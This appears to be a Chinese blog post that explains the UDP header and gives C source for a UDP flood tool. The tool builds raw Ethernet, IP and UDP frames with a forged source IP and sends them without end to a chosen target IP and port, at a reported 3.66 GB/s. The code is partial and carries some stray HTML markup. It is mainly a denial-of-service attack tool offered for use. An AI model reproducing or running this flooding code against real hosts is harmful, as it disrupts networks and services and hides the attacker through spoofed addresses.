1. 程式人生 > >UDP flood 原理及原始碼 C實現

UDP flood 原理及原始碼 C實現

    UDP是一種不可靠的、無連線的資料報服務。源主機在傳送資料前不需要和目標主機建立連線。資料被冠以源、目標埠號等UDP報頭欄位後直接發往目的主機。這時,每個資料段的可靠性依靠上層協議來保證。在傳送資料較少、較小的情況下,UDP比TCP更加高效。

如圖示,UDP報文結構


●源、目標埠號欄位:佔2位元組。作用與TCP資料段中的埠號欄位相同,用來標識源端和目標端的應用程序。

●長度欄位:佔2位元組。標明UDP頭部和UDP資料的總長度位元組。

●校驗和欄位:佔2位元組。用來對UDP頭部和UDP資料進行校驗。

     和TCP不同的是,對UDP來說,此欄位是可選項,而TCP資料段中的校驗和欄位是必須有的


下面是程式碼,只貼出了一部分,這個小程式下載地址為

傳送速度能達到3.66GB/s, 接收方,測試時是舍友的電腦,和我只隔了一個閘道器,中間只有一跳,接收速度是1.8GB/s

<span style="white-space:pre">	</span>_ethHeader ethHeader;
	_ipHeader ipHeader;
	_udpHeader udpHeader;

	/////    資料
	int datasize;
	char temp[]="-------Hello UDP World! By:hwhaocool----";// ICMP資料
	datasize=sizeof(temp);

	//////物理幀
	memcpy(ethHeader.dMac,attackInfo.dstMac,6);
	IP_ADAPTER_INFO adapter[5];
	DWORD buflen=sizeof(adapter);
	DWORD status=GetAdaptersInfo(adapter,&buflen);
	if(status==ERROR_SUCCESS)
	{
		int i=0;
		for(;i<attackInfo.devNum;i++)<span style="white-space:pre">	
//attackInfo.devNum是一個傳進來的變數,代表網絡卡裝置的序號,0,1,2
			;
		memcpy(ethHeader.sMac,adapter[i].Address,6);		//這裡不偽造是為了不破壞閘道器的ARP表	
	}
	ethHeader.type=0x0008;

	///////// IP幀頭
	ipHeader.VerAndH_length=0x45;
	ipHeader.tos=0;
	//總長度
	datasize=sizeof(ethHeader)+sizeof(ipHeader)+sizeof(udpHeader)+sizeof(temp);
	ipHeader.totalLength=htons(85);
	ipHeader.id=htons(2345);
	ipHeader.flagANDfrag=0;			<span style="white-space:pre">	</span>//不分片
	ipHeader.ttl=0x80;
	ipHeader.type=17;				//UDP 17 ,tcp 6
	ipHeader.cksum=0;
	ipHeader.sIP=inet_addr(fakeIP);			//源IP,是一個偽造好的IP,可以隨意填
	memcpy(&ipHeader.dIP,attackInfo.dstIp,4);	//目標IP
	
	ipHeader.cksum=checksum((USHORT*)(&ipHeader),sizeof(ipHeader));

	//////  UDP幀頭
	udpHeader.sPort=htons(5000);
	udpHeader.dPort=htons(attackInfo.port);
	udpHeader.length=htons(sizeof(udpHeader)+sizeof(temp));	
	udpHeader.cksum=0;

	//////  開始合併資料
	u_char bufdata[200];	
	memcpy(bufdata,ðHeader,sizeof(ethHeader));
	datasize=sizeof(ethHeader);
	memcpy(bufdata+datasize,&ipHeader,sizeof(ipHeader));
	datasize+=sizeof(ipHeader);
	memcpy(bufdata+datasize,&udpHeader,sizeof(udpHeader));
	datasize+=sizeof(udpHeader);
	memcpy(bufdata+datasize,temp,sizeof(temp));
	datasize+=sizeof(temp);


	/////   開始傳送資料包
	int i=0;
	for(;i<attackInfo.devNum;i++)		//選擇第幾張網絡卡
		alldevs=alldevs->next;
	name=alldevs->name;//乙太網
	pcap_t * fp;
	fp=pcap_open(name,100,PCAP_OPENFLAG_PROMISCUOUS,100,NULL,errbuf);

	while(key)
	pcap_sendpacket(fp,bufdata,datasize);
	pcap_close(fp);
	return 0;

注:這不是完整的程式,只是貼出來了一步一步構造UDP

報文和傳送報文的程式碼,我是把這個寫成獨立的函數了,

所以好多全域性變數其實在別的地方已經宣告並且初始化了,讀者若對某處有問題,可以留言,知無不答

這裡是各個幀的結構體,

typedef struct  _ethHeader
{
	BYTE dMac[6];
	BYTE sMac[6];
	USHORT type;
};
typedef struct _ipHeader//20 位元組的IP頭部
{
	BYTE VerAndH_length;//版本號和頭部長度
	BYTE tos;//優先順序
	USHORT totalLength;
	USHORT id;
	USHORT flagANDfrag;//標識和分片
	BYTE ttl;
	BYTE type;
	USHORT cksum;
	ULONG sIP;
	ULONG dIP;
};



typedef struct _udpHeader
{
	USHORT sPort;
	USHORT dPort;
	USHORT length;
	USHORT cksum;//可以隨意填,不用必須正確
};